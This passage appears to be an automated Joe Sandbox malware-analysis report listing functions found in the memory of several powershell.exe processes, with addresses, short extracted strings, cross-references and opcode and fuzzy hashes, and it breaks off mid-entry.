Opcode ID: a5392ac4c32c46b97abec894d86e5f234654cc25b84e546abd7d49b5e30b69db
Instruction ID: 3781b900b612b0af348353dc2f0d3120a18da32b3191503dbc2c8a44cc7fc411
Opcode Fuzzy Hash: a5392ac4c32c46b97abec894d86e5f234654cc25b84e546abd7d49b5e30b69db
Instruction Fuzzy Hash: 9911F64690F7D02FE3135A38AD7519A3F608E63694B4E10E3C9D5CF2A3E4084D4D83AB

Function 04EF41E8 Relevance: 5.2, Strings: 4, Instructions: 151COMMON

Download Yara Rule

Strings

m^, xrefs: 04EF41EB
m^, xrefs: 04EF422B
m^, xrefs: 04EF421B
t, xrefs: 04EF42DA

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: m^$m^$m^$t
API String ID: 0-3782583423
Opcode ID: 8ba57645afd06f49b13db79b176aa1837a6ed46d1948e32871c5e1cea344e7c2
Instruction ID: 50e2a427dbdfb4ecd674013226696d2a1455e86e085c1995904b1de5c707540e
Opcode Fuzzy Hash: 8ba57645afd06f49b13db79b176aa1837a6ed46d1948e32871c5e1cea344e7c2
Instruction Fuzzy Hash: 845193719093D08FC706DF6CC8945AABFB0AF46324B1A45D6C594DF2E3C624AC89CBA5

Function 04EFB21C Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

f](, xrefs: 04EFB9BA
m^, xrefs: 04EFB1DB
m^, xrefs: 04EFB1EB
m^, xrefs: 04EFB1BB

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f]($m^$m^$m^
API String ID: 0-1333052684
Opcode ID: 2707b619b42696f8804d42985d9cc40c1ef9e49c6cbd964e6493a3a79652d9bb
Instruction ID: a926f9584d06ccd5be45abce489819f093b986f827336fccfdae628e9cc2394c
Opcode Fuzzy Hash: 2707b619b42696f8804d42985d9cc40c1ef9e49c6cbd964e6493a3a79652d9bb
Instruction Fuzzy Hash: 4441D5315093899FCB02CFA8CC44ADE7FB1EF4A350F094096E984DB263D334A815CBA2

Function 07D72788 Relevance: 5.1, Strings: 4, Instructions: 93COMMON

Download Yara Rule

Strings

r3l, xrefs: 07D727FF
J4l, xrefs: 07D7289A
J4l, xrefs: 07D7284E
4'^q, xrefs: 07D728BD

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$J4l$J4l$r3l
API String ID: 0-3872290779
Opcode ID: d881653bc88ac117863beae634123981841dd21f507b0b9552f2077c1e6b0a3d
Instruction ID: 22c21dae9a9bac8a57f980847e4290f9fc90cac8e2525ef7a5a4648ea8e0aed7
Opcode Fuzzy Hash: d881653bc88ac117863beae634123981841dd21f507b0b9552f2077c1e6b0a3d
Instruction Fuzzy Hash: 4831AFF4A00286DFDB24CE19C541B6AF7F5BF45310F08817AD844DB261E736E984CBA2

Function 04EF4418 Relevance: 5.1, Strings: 4, Instructions: 80COMMON

Download Yara Rule

Strings

m^, xrefs: 04EF445B
m^, xrefs: 04EF442B
m^, xrefs: 04EF448B
m^, xrefs: 04EF447B

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: m^$m^$m^$m^
API String ID: 0-92939119
Opcode ID: 0bc6c14f860f52dd4a342803e539a92499de8505ea53ca57b8808925f1f41202
Instruction ID: db1215999bac7be758269bb38733b1d0fe063dc3bed9219f6426c9f5daf5ea44
Opcode Fuzzy Hash: 0bc6c14f860f52dd4a342803e539a92499de8505ea53ca57b8808925f1f41202
Instruction Fuzzy Hash: CF21322294E3E05FD3036B3D9C260923F70AE67294B0A04C3C4D0CF5B3E418998EE76A

Function 07D7222F Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

$^q, xrefs: 07D7229A
$^q, xrefs: 07D7228E
J4l, xrefs: 07D7227E
J4l, xrefs: 07D72272

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$J4l$J4l
API String ID: 0-556445654
Opcode ID: 20f45dd0bc15a4b89e234580068c0fc6bb1a6fb7871f906f12fcde622682eaaf
Instruction ID: 021b26853ad8ea1e930538abd00be2c0f2884f9e923df948a0940369f8618e58
Opcode Fuzzy Hash: 20f45dd0bc15a4b89e234580068c0fc6bb1a6fb7871f906f12fcde622682eaaf
Instruction Fuzzy Hash: 82012BB2A083C14FC32706184C10666AFF16FC7720F1E47ABC4919F3A6E925DC49C396

Function 04EFDBE0 Relevance: 5.0, Strings: 4, Instructions: 41COMMON

Download Yara Rule

Strings

m^, xrefs: 04EFDC13
m^, xrefs: 04EFDBF3
m^, xrefs: 04EFDC23
m^, xrefs: 04EFDC03

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: m^$m^$m^$m^
API String ID: 0-92939119
Opcode ID: 6c2105ee2726092f4686138e259c2d535d5621151991662299d320c6bb127825
Instruction ID: f1b8a0aad2412d33f9ffdc814a2f6158bc3af0fcc3dcc36461511efe3d4e606d
Opcode Fuzzy Hash: 6c2105ee2726092f4686138e259c2d535d5621151991662299d320c6bb127825
Instruction Fuzzy Hash: 14F0313154ABC65FD3076A2499551517F70AF136A0F4A05D3C9B0CF1B3EA081A9E8B52

Analysis Process: powershell.exePID: 7488, Parent PID: 7068COMMON

Executed Functions

Function 04CC6C08 Relevance: 3.2, Strings: 2, Instructions: 669COMMON

Download Yara Rule

Strings

(Xcq, xrefs: 04CC6D97
LR^q, xrefs: 04CC6CB5

Memory Dump Source

Source File: 00000007.00000002.1821250679.0000000004CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4cc0000_powershell.jbxd

Similarity

API ID:
String ID: (Xcq$LR^q
API String ID: 0-2856513941
Opcode ID: 95277f57080d64dc922b87e7d9cece3d72e3a1fdcc0068e5d2718b36c61c4e84
Instruction ID: 8e11f62d1df0936223473be8d2e73d4667dbdbc3779ae5f188e24eddbf1802bb
Opcode Fuzzy Hash: 95277f57080d64dc922b87e7d9cece3d72e3a1fdcc0068e5d2718b36c61c4e84
Instruction Fuzzy Hash: F9526934B10219CFDB24DB64C990B6DBBB2BF89304F1581A9D9499B394DB34ED82CF52

Function 04CC6BDD Relevance: 2.7, Strings: 2, Instructions: 212COMMON

Download Yara Rule

Strings

(Xcq, xrefs: 04CC6D97
LR^q, xrefs: 04CC6CB5

Memory Dump Source

Source File: 00000007.00000002.1821250679.0000000004CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4cc0000_powershell.jbxd

Similarity

API ID:
String ID: (Xcq$LR^q
API String ID: 0-2856513941
Opcode ID: 7bfedfd381fd3ccabb815c8b08cf834853a27188e0e45098670f53497909fd50
Instruction ID: c147737f69ca734d299b33f5044d3671fa0f86e882d73fc997b5ebcba2fd9e12
Opcode Fuzzy Hash: 7bfedfd381fd3ccabb815c8b08cf834853a27188e0e45098670f53497909fd50
Instruction Fuzzy Hash: 6F71DD31B043648FDB12CF68C95079EBBB2EF89700F1140AAD4859F3A2DB719D45CB92

Function 04CC7BC8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1821250679.0000000004CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 919c27b1d6994edc4d9a4a4b4a896a55108d83bf2528d93f8200896e868105c5
Instruction ID: ee68e2b3930b98094ef43646bc3031943dc026892531db6a4bd2079d9fa97a57
Opcode Fuzzy Hash: 919c27b1d6994edc4d9a4a4b4a896a55108d83bf2528d93f8200896e868105c5
Instruction Fuzzy Hash: ECD1F674A0120A9FCB14CFA8D584AADFBB2EF88310F258559E815AB365C735ED81CF90

Function 04CC2C80 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1821250679.0000000004CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b00d93a489931706f25406dc20c03d58865e62d49b87f2f358987f572503a41
Instruction ID: 62e97ab6635d7da0dd7c2f5be69220444315dd10c4dda09a88dcfe6d00f2b6a3
Opcode Fuzzy Hash: 1b00d93a489931706f25406dc20c03d58865e62d49b87f2f358987f572503a41
Instruction Fuzzy Hash: 4A4139B4E006059FCB09CF58C5949AAFBB2FF48310B258599D915AB3A4C736FD50CFA4

Function 04CC2C7B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1821250679.0000000004CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da01e3346683fa8f4a7072518b09f4b7818394e71b5ed39db9cd7e45e84afa87
Instruction ID: 43a6cc206ffd20a4b84105e2c9e56bcc9ac7692fe76ee0b4b1daf1f325f87357
Opcode Fuzzy Hash: da01e3346683fa8f4a7072518b09f4b7818394e71b5ed39db9cd7e45e84afa87
Instruction Fuzzy Hash: 544116B4E005159FCB19CF58C5949AAFBB2FF48310B118999D905AB3A4C736FD50CFA4

Function 04CC7BC7 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1821250679.0000000004CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed08b661d192c17cc9e12c60954bf492e66e856e6fbe96a490f65df3c60dbf98
Instruction ID: 3ed43cc18536a010003f581410285532b13d5f9aa83c80251028ef1187b0e16b
Opcode Fuzzy Hash: ed08b661d192c17cc9e12c60954bf492e66e856e6fbe96a490f65df3c60dbf98
Instruction Fuzzy Hash: 1C11D774A0121A9FCB04DF99D5809AEFBB5FF88310B148569E909AB355C731FD41CBA1

Function 0340D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1820848438.000000000340D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0340D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_340d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeb6980911a0fd645f77b475c6040492a72a8f6f8c01141fb647a40b295a3bf4
Instruction ID: 3ea5046917f135a233f3863aeb187afc0bcb7c07d5e1a606b6ddf22bd476573e
Opcode Fuzzy Hash: eeb6980911a0fd645f77b475c6040492a72a8f6f8c01141fb647a40b295a3bf4
Instruction Fuzzy Hash: BE012D7150E3C09ED7128B258994B52BFB4EF43224F1D80DBD9888F2A3C2699849C772

Function 0340D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1820848438.000000000340D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0340D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_340d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff7e18626022c752aaf1e21c0e52fdf563ee0c05869d6dafddc2226bbf6a690e
Instruction ID: 81a89e6342f7206d252f9739ff37c82dabec356dca8c4518e62c02c55493e3a9
Opcode Fuzzy Hash: ff7e18626022c752aaf1e21c0e52fdf563ee0c05869d6dafddc2226bbf6a690e
Instruction Fuzzy Hash: 6D01D871A0530099E7108A65CE84757BF98DF42328F0CC476ED5C1E286C2799449C6B5

Function 04CC76A8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1821250679.0000000004CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4b46533c6798160a24af502d133f3555b5be226a8e545076cc1200a9e0cb52
Instruction ID: 47cd381391da038f91baee806e5f668eb6c3f8cf8e28e6d6c6618dfded2d23ed
Opcode Fuzzy Hash: 6a4b46533c6798160a24af502d133f3555b5be226a8e545076cc1200a9e0cb52
Instruction Fuzzy Hash: 2FE0C2B5E2420A8FDF44DFB8A5411AEFFF2EB08205B10896FD829E6340E63446108F94

Function 04CC76B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1821250679.0000000004CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73506d56810b3a5d64e99fd3a5b1956ed9ce15bb522583b832484d4ec9cda408
Instruction ID: 0fd035a658a8bb10748b115c85bc6ed0cfaaed7e4a4dfbda2af881fce8d2aa3d
Opcode Fuzzy Hash: 73506d56810b3a5d64e99fd3a5b1956ed9ce15bb522583b832484d4ec9cda408
Instruction Fuzzy Hash: B1E026B4E0530E9F8F48DFB995421BEFBF5AB48200F10856E9819E3340E63456518F95

Function 04CC7678 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1821250679.0000000004CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1e513cfde3115652694801dda43050b0981f0da372fe2d7e0b59de4aab4903
Instruction ID: de3c7f91082aa30ab2b084e5287e1402d1aa55c8a7cd9a4a8f34ccb42199897c
Opcode Fuzzy Hash: 7a1e513cfde3115652694801dda43050b0981f0da372fe2d7e0b59de4aab4903
Instruction Fuzzy Hash: 8CD05E7604E3C18ED3239BB068182993F35AB07304B0905DBE045C9893C2641556CF23

Analysis Process: powershell.exePID: 4856, Parent PID: 7068COMMON

Executed Functions

Function 0425BBB0 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e12bf0d421f8b03256443f8d266946084c5de2deae8148bb7157285ff4ac201c
Instruction ID: 604d9452c97544b2981888dc666ae2a1cd2a2eed1fea5db1182317c39f1837cb
Opcode Fuzzy Hash: e12bf0d421f8b03256443f8d266946084c5de2deae8148bb7157285ff4ac201c
Instruction Fuzzy Hash: A59196B1B006545FDB1AEFB4C4155AEBBE2DF84714B00892DD40AAB350DF74AE0ACBC6

Function 0425BBD8 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2d4646488ddf05261ba0d1ea7576ee112d624d866e3466d59aa46e1d872493
Instruction ID: 94109f7744cad836b5696f942f9cc2b3a7a12c59d61cc05277b2b7e3a122da9c
Opcode Fuzzy Hash: ab2d4646488ddf05261ba0d1ea7576ee112d624d866e3466d59aa46e1d872493
Instruction Fuzzy Hash: 249176B1B006155FDB19EFB4C4155AEBBE2DFC4704B40892DD50AAB350DF74AE0A8BC6

Function 082E0040 Relevance: 17.8, Strings: 14, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 082E03F0
Xbq, xrefs: 082E02C7
Xbq, xrefs: 082E0390
Xbq, xrefs: 082E030C
$^q, xrefs: 082E03E4
Xbq, xrefs: 082E0178
Xbq, xrefs: 082E0136
Xbq, xrefs: 082E0240
Xbq, xrefs: 082E00F4
Xbq, xrefs: 082E0282
Xbq, xrefs: 082E034E
Xbq, xrefs: 082E01FE
Xbq, xrefs: 082E00B2
Xbq, xrefs: 082E01BB

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$$^q$$^q
API String ID: 0-2161063300
Opcode ID: cb98aeb16c78d7c796221f7ae6f2efcd0ee20dc116e95c8d8e5716e400890d4c
Instruction ID: c5e035b1775007f7708edad12789b2eaa94d9bd1a5edaf315dcba8db8f54b230
Opcode Fuzzy Hash: cb98aeb16c78d7c796221f7ae6f2efcd0ee20dc116e95c8d8e5716e400890d4c
Instruction Fuzzy Hash: 24C13B70B102488FDB649F69C9407AEBAF6FF88302F1044B9D54AAB359DF749D818F15

Function 082E0012 Relevance: 16.5, Strings: 13, Instructions: 290COMMON

Download Yara Rule

Strings

Xbq, xrefs: 082E02C7
Xbq, xrefs: 082E0390
Xbq, xrefs: 082E030C
$^q, xrefs: 082E03E4
Xbq, xrefs: 082E0178
Xbq, xrefs: 082E0136
Xbq, xrefs: 082E0240
Xbq, xrefs: 082E00F4
Xbq, xrefs: 082E0282
Xbq, xrefs: 082E034E
Xbq, xrefs: 082E01FE
Xbq, xrefs: 082E00B2
Xbq, xrefs: 082E01BB

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$$^q
API String ID: 0-2644358041
Opcode ID: 61e9e034d7b869cf70007f4e0c46c07dbf90e413cb32a8c57e66597f241714ac
Instruction ID: ca27d3c747e5eb8ee3389864b12477bb371b2c220e05f23f42ea2aa5b0e9d027
Opcode Fuzzy Hash: 61e9e034d7b869cf70007f4e0c46c07dbf90e413cb32a8c57e66597f241714ac
Instruction Fuzzy Hash: 86C16D70B142448FCB249F68C8507AEFAF6FF84302F1044BAD08AAB359DB749D818F15

Function 07153798 Relevance: 15.4, Strings: 12, Instructions: 434COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07153AD4
$^q, xrefs: 07153A9B
$^q, xrefs: 07153A38
4'^q, xrefs: 07153836
$^q, xrefs: 07153A7C
$^q, xrefs: 07153A70
4'^q, xrefs: 0715382A
tP^q, xrefs: 07153AE0
$^q, xrefs: 07153A54
<-%k, xrefs: 071537FB
$^q, xrefs: 07153A8F
L3l, xrefs: 0715390A

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$<-%k$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$L3l
API String ID: 0-1713787145
Opcode ID: 6b8612e55e5699b86b7f0e726da53d7bb6b76ff34626d4e6145d43e135b1dbc7
Instruction ID: 8023d12983886bcc481535a30fcf11514d39d99d60c102a732956a89180fccb4
Opcode Fuzzy Hash: 6b8612e55e5699b86b7f0e726da53d7bb6b76ff34626d4e6145d43e135b1dbc7
Instruction Fuzzy Hash: 22E179B2B04355DFC71E8B69980066ABBE5AFC2654F1884BBD935CF391CB32C845C7A1

Function 04257868 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

(bq, xrefs: 0425798D

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: f03237ae494d2b2e3485f5bc83bbe6094a6e6ad6568c5d394ae35d1c488c9833
Instruction ID: b2948a23761e8a8ea273eb18ffdad59ca47e6fb0ff4c26670bdb98bc76d01673
Opcode Fuzzy Hash: f03237ae494d2b2e3485f5bc83bbe6094a6e6ad6568c5d394ae35d1c488c9833
Instruction Fuzzy Hash: 76413834B142158FDB04DF69C568AADBBF2EF8D311F1440A8E846AB3A1DB35ED41CB64

Function 0425B6E0 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

(&^q, xrefs: 0425B702

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: a6bb471dd9d552429a4e31b80473fdcef04e2c0f3c7380cf2c1d1467db2fc2fc
Instruction ID: b4ce99aa3d52bdd93acbacc2b9a684012eb41a0e6c739ac21ae350a2d0319fdc
Opcode Fuzzy Hash: a6bb471dd9d552429a4e31b80473fdcef04e2c0f3c7380cf2c1d1467db2fc2fc
Instruction Fuzzy Hash: 7921AE76A002588FCB14DFAED4447DEBFF9EB88320F24846AD408A7350CB75A9458BA5

Function 071538F0 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

L3l, xrefs: 0715390A

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: L3l
API String ID: 0-3803200913
Opcode ID: 37100e61648360e0454135d4b0accca03e989ab06b4a0e1a0c7e0c29014c984f
Instruction ID: c81fb322679e2c4cc58a6b7adce6516eda92168d53dea08fac667395a84be0f5
Opcode Fuzzy Hash: 37100e61648360e0454135d4b0accca03e989ab06b4a0e1a0c7e0c29014c984f
Instruction Fuzzy Hash: 3111B2F5700211EFD7198A45C841FAAB7A9FB85368F04C02AE9289B390C772DC41CBA1

Function 082E5110 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

[, xrefs: 082E515A

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID: [
API String ID: 0-1571551517
Opcode ID: 633497b09be91af6d9de1d6a43b8cd272f7c0bce80ae9f876f9d3449662372a9
Instruction ID: 5e84a45dc7699863d5a09c9bba78d421a37c3e97932123e967a6389395675544
Opcode Fuzzy Hash: 633497b09be91af6d9de1d6a43b8cd272f7c0bce80ae9f876f9d3449662372a9
Instruction Fuzzy Hash: F0F0E9713057802FC302766DB4405DBEBD2DFC5220385867BE05DCB725DE21AE0987E5

Function 082E5120 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

[, xrefs: 082E515A

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID: [
API String ID: 0-1571551517
Opcode ID: 41fc1f793f20874725cdb6fdfe4f6af13c538e313214ce1ba4e0f9c672953a6d
Instruction ID: b60f4d1735401656b93488540dbb329da89c2b2413b2a88a2051aea13d82aa00
Opcode Fuzzy Hash: 41fc1f793f20874725cdb6fdfe4f6af13c538e313214ce1ba4e0f9c672953a6d
Instruction Fuzzy Hash: 50E092723006042B8301B66EF98189FF79BEEC52607848639E11DCB724EF60FE4947E8

Function 082E9418 Relevance: .4, Instructions: 393COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91fafd8894781ecea56c2d25fdd6bbabb00fb4c42563624ab9fd21c1984f830e
Instruction ID: 775c23e1ee84b72971683af6a162c2af739b783f9e0ee2ea06594600292c2e33
Opcode Fuzzy Hash: 91fafd8894781ecea56c2d25fdd6bbabb00fb4c42563624ab9fd21c1984f830e
Instruction Fuzzy Hash: 47F12934A10209DFCB15CFA8D584A9EBBF2FF88310F25855AE805AB365C771ED85CB94

Function 07152A88 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 406744bfb23e739680bea05c709019cda2fba7976677ae287f03c50fc8c1da05
Instruction ID: ca28c412dab9b7578e7e3c76359b0d67f74b06556a89e21e5b7c754b1116fc9f
Opcode Fuzzy Hash: 406744bfb23e739680bea05c709019cda2fba7976677ae287f03c50fc8c1da05
Instruction Fuzzy Hash: 50D126F3700255CFCB1A8F69984066ABBE1FF8A211F14807AD925DB391DB32D945CBA1

Function 04252B60 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e8cf4860e88048c23f91a2ffb6471971f9d0d26683f18e13918ef83b9cb2f98
Instruction ID: a83053e36f10d05831e80b3bc8b691641932952a1eeb071796af94e877139928
Opcode Fuzzy Hash: 6e8cf4860e88048c23f91a2ffb6471971f9d0d26683f18e13918ef83b9cb2f98
Instruction Fuzzy Hash: 7FA16AB4A00605CFCB05CF59C4949AABBB2FF88310B2585A9E915EB3A5D735FC51CFA0

Function 082E7B30 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e43edd1d8fe0eb8bebd4b16d8f2cf322886b17529792e2080eff78e460bc5b05
Instruction ID: ad1ecb654a9d3cdbaa7e70618bfec40ff115d27abb59965ed2f491cd20ff41c1
Opcode Fuzzy Hash: e43edd1d8fe0eb8bebd4b16d8f2cf322886b17529792e2080eff78e460bc5b05
Instruction Fuzzy Hash: 52615E6151E3E55FC703AB7C98605EA7FB0AE4722070A41D7E4D0CF1A3D6289D4DC7AA

Function 07151B90 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d01cbc7d6cf562d353dbd21e39b89646b27489499e38f480f6177a2b8b54771
Instruction ID: f0d39095e833bd6a34528af80a7d8be4eed57402b2299e559cb90d911bdf7270
Opcode Fuzzy Hash: 6d01cbc7d6cf562d353dbd21e39b89646b27489499e38f480f6177a2b8b54771
Instruction Fuzzy Hash: 735167B2B0025AEFC71A9BADD40076ABBE2AFC6211F14847AD915CB391DB32D940D761

Function 082E36D0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

